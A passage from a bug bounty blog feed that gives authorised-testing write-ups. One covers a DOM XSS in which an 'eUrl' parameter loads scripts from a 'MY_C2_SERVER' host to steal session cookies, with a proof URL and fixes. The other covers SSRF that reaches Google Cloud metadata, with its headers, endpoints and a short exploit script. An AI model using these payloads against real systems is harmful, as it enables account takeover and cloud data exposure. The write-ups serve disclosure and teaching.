</span></span><span style="display:flex;"><span><span style="color:#a6e22e">elementStyleTag</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;rel&#39;</span>, <span style="color:#e6db74">&#39;stylesheet&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">elementStyleTag</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;href&#39;</span>, <span style="color:#a6e22e">eUrl</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/styles.css&#39;</span>);
</span></span><span style="display:flex;"><span>document.<span style="color:#a6e22e">head</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">elementStyleTag</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">$</span>(document).<span style="color:#a6e22e">ready</span>(<span style="color:#66d9ef">function</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">kendo</span>.<span style="color:#a6e22e">ui</span>.<span style="color:#a6e22e">progress</span>(<span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;body&#34;</span>), <span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">$</span>.<span style="color:#a6e22e">getScript</span>({
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">url</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">eUrl</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/deployment/env/&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">env</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;.config.js&#39;</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">cache</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span> }, <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">$</span>.<span style="color:#a6e22e">getScript</span>({
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">url</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">eUrl</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/keycloak.js&#39;</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">cache</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span> }, <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Rest of the code
</span></span></span></code></pre></div><p>Here is the breakdown of the code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Javascript" data-lang="Javascript"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">eUrl</span> <span style="color:#f92672">=</span> decodeURIComponent(<span style="color:#a6e22e">urlObj</span>.<span style="color:#a6e22e">searchParams</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;eUrl&#39;</span>));
</span></span></code></pre></div><p>This line retrieves the <code>eUrl</code> parameter from the <code>urlObj</code>, decodes it using <code>decodeURIComponent()</code>, and assigns it to the <code>eUrl</code> variable.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Javascript" data-lang="Javascript"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">elementStyleTag</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#39;link&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">elementStyleTag</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;rel&#39;</span>, <span style="color:#e6db74">&#39;stylesheet&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">elementStyleTag</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;href&#39;</span>, <span style="color:#a6e22e">eUrl</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/styles.css&#39;</span>);
</span></span><span style="display:flex;"><span>document.<span style="color:#a6e22e">head</span>.<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">elementStyleTag</span>);
</span></span></code></pre></div><p>These lines create a new <code>link</code> element, set its <code>rel</code> attribute to &ldquo;stylesheet&rdquo;, set its <code>href</code> attribute to the URL of the stylesheet (which is formed by appending &lsquo;/styles.css&rsquo; to <code>eUrl</code>), and append this element to the head of the document.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Javascript" data-lang="Javascript"><span style="display:flex;"><span><span style="color:#a6e22e">$</span>(document).<span style="color:#a6e22e">ready</span>(<span style="color:#66d9ef">function</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">kendo</span>.<span style="color:#a6e22e">ui</span>.<span style="color:#a6e22e">progress</span>(<span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;body&#34;</span>), <span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">$</span>.<span style="color:#a6e22e">getScript</span>({
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">url</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">eUrl</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/deployment/env/&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">env</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;.config.js&#39;</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">cache</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span> }, <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">$</span>.<span style="color:#a6e22e">getScript</span>({
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">url</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">eUrl</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/keycloak.js&#39;</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">cache</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span> }, <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Rest of the code
</span></span></span></code></pre></div><p>In this block, jQuery is set to execute when the document is ready. It displays a loading animation and uses the <code>getScript()</code> function to fetch and execute two JavaScript files from URLs built using the user-provided<code> eUrl</code>.</p>
<p>The vulnerability here lies in the way <code>eUrl</code> is used. Since this value comes from the user and is not validated or sanitized before use, an attacker could manipulate this value to point to a malicious script on a different server. When the jQuery <code>getScript()</code> function fetches and executes this script, it would run in the context of the user&rsquo;s session, leading to a DOM-based Cross-Site Scripting (XSS) attack.</p>
<p>Furthermore, <code>HTTPOnly</code> flag is not used for the <code>ASPSESSIONID</code> cookie which acts as a session cookie. This allows a remote unauthenticated attacker to perform single-click account takeovers.</p>
<h4 id="steps-to-reproduce">Steps To Reproduce:</h4>
<ol start="0">
<li>To later validate access to session cookies, first visit the following URL: <a href="https://REDACTED.example.com/login.asp">https://REDACTED.example.com/login.asp</a>. This will set the <code>ASPSESSIONID</code> cookie. This step is optional and its only purpose is to set cookies.</li>
<li>Visit the following URL: <a href="https://REDACTED.example.com/v2/xxx-login.asp?action=login&amp;env=REDACTED-prod&amp;eUrl=https://MY_C2_SERVER/&amp;userType=PARTNER&amp;REDACTEDLookupCode=REDACTED.example.com&amp;REDACTEDName=&amp;ssolang=en&amp;REDACTEDUrl=https://REDACTED.example.com/login.asp&amp;dossologin=true">https://REDACTED.example.com/v2/xxx-login.asp?action=login&amp;env=REDACTED-prod&amp;eUrl=https://MY_C2_SERVER/&amp;userType=PARTNER&amp;REDACTEDLookupCode=REDACTED.example.com&amp;REDACTEDName=&amp;ssolang=en&amp;REDACTEDUrl=https://REDACTED.example.com/login.asp&amp;dossologin=true</a></li>
<li>As you open the URL, you will be redirected to my malicious SSO login page. A tech-savvy person will immediately recognize this as a phishing attack. While someone less familiar with such tactics may not.</li>
<li>However, if you check your request logs using Burp Suite, you will notice that your session cookies are already compromised and sent to the attacker&rsquo;s server.</li>
</ol>
<h4 id="recommendations">Recommendations</h4>
<p>To fix this vulnerability, follow these steps:</p>
<ol>
<li><strong>Validate User Inputs</strong>: Always validate user inputs. For <code>eUrl</code>, ensure it points to a known, safe domain and doesn&rsquo;t contain unexpected path or query elements.</li>
<li><strong>Sanitize User Inputs</strong>: Beyond validation, sanitize user inputs. This can include escaping special characters or using secure functions that perform these tasks automatically.</li>
<li><strong>Use Allow-lists</strong>: Employ an allow-list approach. Only permit specific, known-good inputs to pass through.</li>
<li><strong>Implement Content Security Policy (CSP)</strong>: Use Content Security Policy headers to limit the sources from which scripts can be loaded. This can prevent unauthorized script execution.</li>
<li><strong>Set HTTPOnly Flag</strong>: Apply the <code>HTTPOnly</code> flag to the <code>ASPSESSIONID</code> cookie. This prevents the cookie from being accessed by client-side scripts, protecting it from theft during an XSS attack.</li>
<li><strong>Use SameSite Attribute for Cookies</strong>: Set the <code>SameSite</code> attribute for the session cookie to <code>Strict</code> or <code>Lax</code>. This offers extra protection against Cross-Site Request Forgery (CSRF) attacks.</li>
<li><strong>Regularly Update and Patch</strong>: Keep all software (libraries, frameworks, servers, etc.) up to date. Apply patches promptly as they become available.</li>
</ol>
<h4 id="supporting-materialreferences">Supporting Material/References:</h4>
<ol>
<li>Optional login page that is used to set cookies</li>
</ol>
<p>REDACTED</p>
<ol start="2">
<li>Phishing page that we made to trick users</li>
</ol>
<p>REDACTED</p>
<ol start="3">
<li>Cookies leaked without user knowing</li>
</ol>
<p>REDACTED</p>
<h4 id="impact">Impact</h4>
<p>A remote unauthenticated attacker can perform the following actions:</p>
<ol>
<li><strong>Launch a Cross-Site Scripting (XSS) attack</strong>: The attacker can manipulate the <code>eUrl</code> parameter to point to a malicious script. This script will be fetched and executed within the user&rsquo;s session when the page loads, giving the attacker the ability to modify the webpage content or perform actions on behalf of the user.</li>
<li><strong>Steal session cookies</strong>: The <code>ASPSESSIONID</code> cookie does not have the <code>HTTPOnly</code> flag set, which means it can be accessed by client-side scripts. In the event of a successful XSS attack, this cookie can be stolen, compromising the user&rsquo;s session.</li>
<li><strong>Perform account takeover</strong>: With the stolen session cookie, the attacker can impersonate the victim&rsquo;s session, leading to unauthorized access to the user&rsquo;s account and potentially any sensitive data or functionalities it contains.</li>
<li><strong>Conduct harmful actions</strong>: Once the account is taken over, the attacker can perform potentially harmful actions such as changing user settings, sending messages, or making transactions.</li>
</ol>
<p>All these malicious actions can be performed with just a single click from the user, increasing the risk and ease of the attack.</p>
<h3 id="2-css-injection">2. CSS Injection?</h3>
<p>While checking a static page of an in-scope application, I came across an interesting JavaScript file.</p>
<p>The code looked like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Javascript" data-lang="Javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">current_url_string</span> <span style="color:#f92672">=</span> window.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">href</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">current_url</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URL</span>(<span style="color:#a6e22e">current_url_string</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">linkObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">current_url</span>.<span style="color:#a6e22e">searchParams</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;link1&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">userPhotoUrl</span> <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">current_url</span>.<span style="color:#a6e22e">searchParams</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;user_photo_url&#34;</span>) <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">decodeDeepLink</span>(<span style="color:#a6e22e">linkObj</span>).<span style="color:#a6e22e">user_photo_url</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">photoBaseUrl</span> <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#34;https://REDACTED.example.com/media/profile-photos&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">userPhotoUrl</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">userPhotoUrl</span>.<span style="color:#a6e22e">startsWith</span>(<span style="color:#a6e22e">photoBaseUrl</span>)) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;.profile-img-placeholder&#34;</span>).<span style="color:#a6e22e">css</span>(
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#34;background&#34;</span>,
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;url(&#34;&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">userPhotoUrl</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;&#34;)&#39;</span>
</span></span><span style="display:flex;"><span> );
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>I started to analyze the JavaScript code by manually reading.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Javascript" data-lang="Javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">current_url_string</span> <span style="color:#f92672">=</span> window.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">href</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">current_url</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URL</span>(<span style="color:#a6e22e">current_url_string</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">linkObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">current_url</span>.<span style="color:#a6e22e">searchParams</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;link1&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">userPhotoUrl</span> <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">current_url</span>.<span style="color:#a6e22e">searchParams</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;user_photo_url&#34;</span>) <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">decodeLink</span>(<span style="color:#a6e22e">linkObj</span>).<span style="color:#a6e22e">user_photo_url</span>;
</span></span></code></pre></div><p>This subsection retrives the <code>link1</code> and <code>user_photo_url</code> parameters from the URL. The <code>user_photo_url</code> is a direct URL to the user&rsquo;s profile picture. The other <code>link1</code> parameter is a base64 encoded JSON object that is decoded using the <code>decodeLink()</code> function.</p>
<p>Here is the working of this function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Javascript" data-lang="Javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">decodeDeepLink</span>(<span style="color:#a6e22e">str</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">parse</span>(<span style="color:#a6e22e">atob</span>(<span style="color:#a6e22e">str</span>));
</span></span><span style="display:flex;"><span> } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">err</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>After decoding the <code>link1</code> parameter, it extracts the value of <code>user_photo_url</code> key from the JSON.</p>
<p>The following subsection takes the <code>user_photo_url</code> and puts it directly in the CSS of the element having the <code>.profile-img-placeholder</code> as the CSS class.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Javascript" data-lang="Javascript"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">userPhotoUrl</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">userPhotoUrl</span>.<span style="color:#a6e22e">startsWith</span>(<span style="color:#a6e22e">photoBaseUrl</span>)) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;.profile-img-placeholder&#34;</span>).<span style="color:#a6e22e">css</span>(
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#34;background&#34;</span>,
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;url(&#34;&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">userPhotoUrl</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;&#34;)&#39;</span>
</span></span><span style="display:flex;"><span> );
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>To set a user-provided value in the CSS of this class, I thought to provide a link like this:</p>
<p><a href="https://REDACTED.example.com/index.html?link1=eyJ1c2VyX3Bob3RvX3VybCI6ICJodHRwOi8vd3d3LmV4YW1wbGUuY29tIn0=">https://REDACTED.example.com/index.html?link1=eyJ1c2VyX3Bob3RvX3VybCI6ICJodHRwOi8vd3d3LmV4YW1wbGUuY29tIn0=</a></p>
<p>When decoded, it becomes this JSON:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-JSON" data-lang="JSON"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#f92672">&#34;user_photo_url&#34;</span>: <span style="color:#e6db74">&#34;http://www.example.com&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This did not work obviously because I had overlooked a crucial detail. There is a <code>startsWith(photoBaseUrl)</code> function that check if the value of <code>user_photo_url</code> starts with &ldquo;<a href="https://REDACTED.example.com/media/profile-photos%22">https://REDACTED.example.com/media/profile-photos&quot;</a> or not. In my case, it did not. So, no reflections whatsoever in DOM.</p>
<p>Then I used the following URL to trigger the change in DOM:</p>
<p><a href="https://REDACTED.example.com/index.html?link1=eyJ1c2VyX3Bob3RvX3VybCI6ICJodHRwczovL1JFREFDVEVELmV4YW1wbGUuY29tL21lZGlhL3Byb2ZpbGUtcGhvdG9zIn0=">https://REDACTED.example.com/index.html?link1=eyJ1c2VyX3Bob3RvX3VybCI6ICJodHRwczovL1JFREFDVEVELmV4YW1wbGUuY29tL21lZGlhL3Byb2ZpbGUtcGhvdG9zIn0=</a></p>
<p>The <code>link1</code> parameter decodes to this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-JSON" data-lang="JSON"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#f92672">&#34;user_photo_url&#34;</span>: <span style="color:#e6db74">&#34;https://REDACTED.example.com/media/profile-photos&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This should trigger the DOM change, right? Wrong! This did not trigger any changes whatsoever.</p>
<p>I kept digging in the code more and more. Almost to the point where I decided to give up. Then, I thought to search in my Burp Suite history about this CSS class <code>.profile-img-placeholder</code>. I wanted to see where this class is used so I can better understand the issue.</p>
<p>And as it turns out, there was no element that had this class. The only file where I found this CSS class to be refereced was this very script I was reading. No other references were found even after manually crawling the entire website.</p>
<p>In the future, if the <code>.profile-img-placeholder</code> class is added, I&rsquo;ll be prepared to exploit this vulnerability.</p>
<p>This is it. End of article. Apparantly, not all writeups end with a bounty.</p>
<h3 id="conclusiontakeaways">Conclusion/Takeaways</h3>
<ol>
<li>Always check the scope you&rsquo;re hacking before and after submitting the report.</li>
<li>Learn a programming language of your choice.</li>
<li>Manually review the source code in order to identify any potential vulnerabilities. With frequent practise, vulnerable code sections are easier to identify revealing potential vulnerabilities.</li>
</ol>
<p>I work full time as a bug bounty hunter mostly hacking in Synack Red Team (SRT). If you&rsquo;re interested in becoming a part of the Synack Red Team, feel free to connect with me on Twitter, Instagram, or LinkedIn. I&rsquo;m always happy to offer guidance to fellow cybersecurity enthusiasts.</p>
<p>Cheers! Adios!</p>
</content>
</item>
<item>
<title>Holiday Hunting With Aquatone</title>
<link>https://kuldeep.io/posts/holiday-hunting-with-aquatone/</link>
<pubDate>Fri, 03 Mar 2023 01:09:16 +0530</pubDate>
<guid>https://kuldeep.io/posts/holiday-hunting-with-aquatone/</guid>
<description>Hello, folks!
Before going to the blog, I would like to give a little context on what happened here. I went on a workcation in April 2022 with my hacker friends (@N0_M3ga_Hacks, @AyushBawariya1 and @x30r_). We hacked during the day and partied in the evenings.
One day, I was telling @N0_M3ga_Hacks about how easy it was to hunt on a specific target in Synack Red Team. That it was full of vulnerabilities.</description>
<content><p>Hello, folks!</p>
<p>Before going to the blog, I would like to give a little context on what happened here. I went on a workcation in April 2022 with my hacker friends (<a href="https://twitter.com/N0_M3ga_Hacks">@N0_M3ga_Hacks</a>, <a href="https://twitter.com/AyushBawariya1">@AyushBawariya1</a> and <a href="https://twitter.com/x30r_">@x30r_</a>). We hacked during the day and partied in the evenings.</p>
<p>One day, I was telling <a href="https://twitter.com/N0_M3ga_Hacks">@N0_M3ga_Hacks</a> about how easy it was to hunt on a specific target in Synack Red Team. That it was full of vulnerabilities. I was telling him that I have found many vulnerabilities just by running <a href="https://github.com/michenriksen/aquatone">aquatone</a> on the in-scope HTTP servers. I did not even need to do a port scan to find other HTTP services on different ports like 8443,8080 etc.</p>
<p>While telling him about this, I thought, &ldquo;Let me show him in practice&rdquo; and I went ahead and ran <a href="https://github.com/projectdiscovery/httpx">httpx</a> on all the in-scope IPs and found live HTTP services. Then I ran aquatone across all the IPs.</p>
<p>From here, we found a total of 3 vulnerabilities that are as documented below:</p>
<table>
<thead>
<tr>
<th>Vulnerability Title</th>
<th>Reward</th>
</tr>
</thead>
<tbody>
<tr>
<td>SSRF Allowing To Access Google VM Metadata</td>
<td>$2400</td>
</tr>
<tr>
<td>SSRF Allowing To Access Internal Ports</td>
<td>$500</td>
</tr>
<tr>
<td>Exposed XXXX Portal Revealing Tickets</td>
<td>$705</td>
</tr>
</tbody>
</table>
<h3 id="ssrf-allowing-to-access-google-vm-metadata">SSRF Allowing To Access Google VM Metadata</h3>
<p>What stood out from the aquatone results was a web page test application. The web root of the application looked like the following:</p>
<p><img src="https://kuldeep.io/WebPageTest-webroot.png" alt="WebPageTest"></p>
<p>It asked us for a website URL to &ldquo;start test&rdquo;. I did not know what kind of test this was going to perform. For example, I just gave it <a href="https://example.com">https://example.com</a> and saw what it did.</p>
<p>The application did something for a while and then gave me a nice screenshot of <a href="https://example.com">https://example.com</a> with a lot of other performance metrics that I did not really know about or care enough to check.</p>
<p><img src="https://kuldeep.io/example-com-results.png" alt="https://example.com results"></p>
<p>What I got interested in was the screenshot of <a href="https://example.com">https://example.com</a>. The application sent a request to <a href="https://example.com">https://example.com</a> and gave us its screenshot.</p>
<p>This is the intended behavior of the application and the ability to request arbitrary URLs is not a vulnerability in itself. The vulnerability arises when the application makes requests to restricted URLs like cloud metadata URLs or localhost that DO have sensitive information exposed.</p>
<p>Happy with what I saw, I gave it https://127.0.0.1 to &ldquo;start test&rdquo;.</p>
<p>It again did something for a while and gave me the results. This time, the results were quite disappointing.</p>
<p><img src="https://kuldeep.io/localhost-results.png" alt="127.0.0.1 Results"></p>
<p>It showed an error saying &ldquo;This site can&rsquo;t be reached&rdquo;.</p>
<p>I sent the request to Burp Suite Intruder and started doing a port scan of the top 1000 ports but it was taking a lot of time. All of these tests were taking 2-3 minutes to complete. Even if we consider the best case of 2 minutes to complete a test, we still require 2000 minutes which is 33.33 hours to perform a port scan of just 1000 ports.</p>
<p>This was the wrong way. To find a workaround, I played with the application&rsquo;s settings and found an option to disable these &ldquo;tests&rdquo; that I thought took most of the time.</p>
<p>I disabled the tests and tried again. But the delay of 2-3 minutes was still there despite the tests being on or off. So I believe that it was some kind of internet issue or browser issue.</p>
<p>However, while testing this, I made a huge mess. Before you could submit a new URL to test, all the old URL tests were supposed to be finished. If they are not finished then the new URL tests will stay pending. And previously, I had sent 1000 requests to the server for port scanning.</p>
<p>This means I cannot test further without waiting for 33.33 hours. I wished someone would reboot the server so that I did not have to wait that long but the server seemed to be unused as no one sent any tests during these 33.33 hours. I also checked the old tests but there were no tests before I sent mine.</p>
<p>After two days, I checked and all the tests were finished. I scraped the results, found all the screenshots, and downloaded them.</p>
<p>Upon checking all the screenshots, I was disappointed once again as none of the ports were running HTTP services. Even after waiting for two days to see the results, nothing was found.</p>
<p>I tried the <code>file://</code> protocol to retrieve <code>/etc/passwd</code> but that also did not work.</p>
<p>I went ahead to try and retrieve the cloud metadata. This should have been the most obvious choice to me as the client hosted all their infrastructure on GCP. But while hacking this, I was more curious about internally exposed services than cloud metadata.</p>
<p>To retrieve Google metadata, we need to request <a href="http://metadata.google.internal/computeMetadata/v1/">http://metadata.google.internal/computeMetadata/v1/</a> URL with two custom headers that are as follows:</p>
<ul>
<li>X-Google-Metadata-Request: True</li>
<li>Metadata-Flavor: Google</li>
</ul>
<p>Luckily, the application also provided functionality to add additional headers before you start the web page test.</p>
<p>I added the headers and started the test on <a href="http://metadata.google.internal/computeMetadata/v1/">http://metadata.google.internal/computeMetadata/v1/</a> URL. It took more than 2-3 minutes to finish this time so I got excited. But I was once again met with disappointment as this resulted in an empty screenshot.</p>
<p><img src="https://kuldeep.io/metadata-v1-results.png" alt="/computeMetadata/v1 Results"></p>
<p>I gave up with the cloud metadata thing and tried to check a few common ports like 8080, 8125, 80, 5000, etc. This also resulted in the same output as my previous attempts for a port scan. I decided to step away from this and take a little break.</p>
<p>After 5 days, I was again hooked on retrieving the Google metadata. This time I tried with several other endpoints like:</p>
<ul>
<li><code>/computeMetadata/v1/instance/hostname</code></li>
<li><code>/computeMetadata/v1/instance/id</code></li>
<li><code>/computeMetadata/v1/instance/image</code></li>
</ul>
<p>The list goes on but you get the point. I tried many other endpoints. I also used the much useful <a href="https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b">Cloud Metadata Wordlist Gist</a>. However, none of these endpoints seemed to work in my case.</p>
<p>I then simply googled &ldquo;google cloud metadata&rdquo; and the very first result was the <a href="https://cloud.google.com/compute/docs/metadata/querying-metadata">official documentation</a> on how to access the VM metadata. As I was reading it, it mentioned the following endpoint:</p>
<ul>
<li><code>/computeMetadata/v1/instance/tags</code></li>
</ul>
<p>I gave the same endpoint to the application for testing and to my surprise, it gave me the output!</p>
<p><img src="https://kuldeep.io/metadata-v1-instance-tags-results.png" alt="/computeMetadata/v1/instance/tags Results"></p>
<p>Here, the screenshot quality was really bad. It was too small that it was unreadable. To view metadata that makes some sense to us, we need to find some other way.</p>
<p>After poking around with different features, I found one way to view the resulting HTML content. All I had to do was to click on the &ldquo;View JSON result&rdquo; button. After clicking, the application showed the performance metrics and all the other information in JSON format.</p>
<p><img src="https://kuldeep.io/view-JSON-results.png" alt="View JSON results"></p>
<p>Here, I was able to see the resulting HTML content in a JSON field called &ldquo;html&rdquo;.</p>
<p>I again checked the <a href="https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b">Cloud Metadata Wordlist Gist</a> and found out that I did not check one endpoint shown in the wordlist. It was the following endpoint:</p>
<ul>
<li><code>/computeMetadata/v1/instance/disks/?recursive=true</code></li>
</ul>
<p>I quickly entered this endpoint and checked the HTML in JSON result and found out that it successfully listed all the disks!</p>
<p><img src="https://kuldeep.io/metadata-v1-instance-disks-results.png" alt="/computeMetadata/v1/instance/disks Results"></p>
<p>Reported this with all the required pieces of evidence and this was accepted.</p>
<p>The same application offered other functionalities like running a custom testing script, bulk testing, bulk testing using file upload, etc. And all of them were vulnerable to this.</p>
<p>I will not be explaining each of them but an exploit using a custom testing script looked like this:</p>
<pre tabindex="0"><code>addHeader Metadata-Flavor: Google
navigate http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
</code></pre><h3 id="ssrf-allowing-to-access-internal-ports">SSRF Allowing To Access Internal Ports</h3>
<p>The web application root of this IP showed a search functionality as shown below.</p>
<p><img src="https://kuldeep.io/search-functionality.png" alt="Web Application Root"></p>
<p>Here, you can see that a URL is shown beside the &ldquo;cluster&rdquo; drop-down. We can change the cluster dropdown to other options that will change the URL. My best guess is that we can change the cluster to switch between dev/prod environments.</p>
<p>Upon searching a string &ldquo;test&rdquo;, a POST request to the <code>/search</code> endpoint is sent along with a lot of other parameters.</p>
<p><img src="https://kuldeep.io/search-request.png" alt="Search Request"></p>
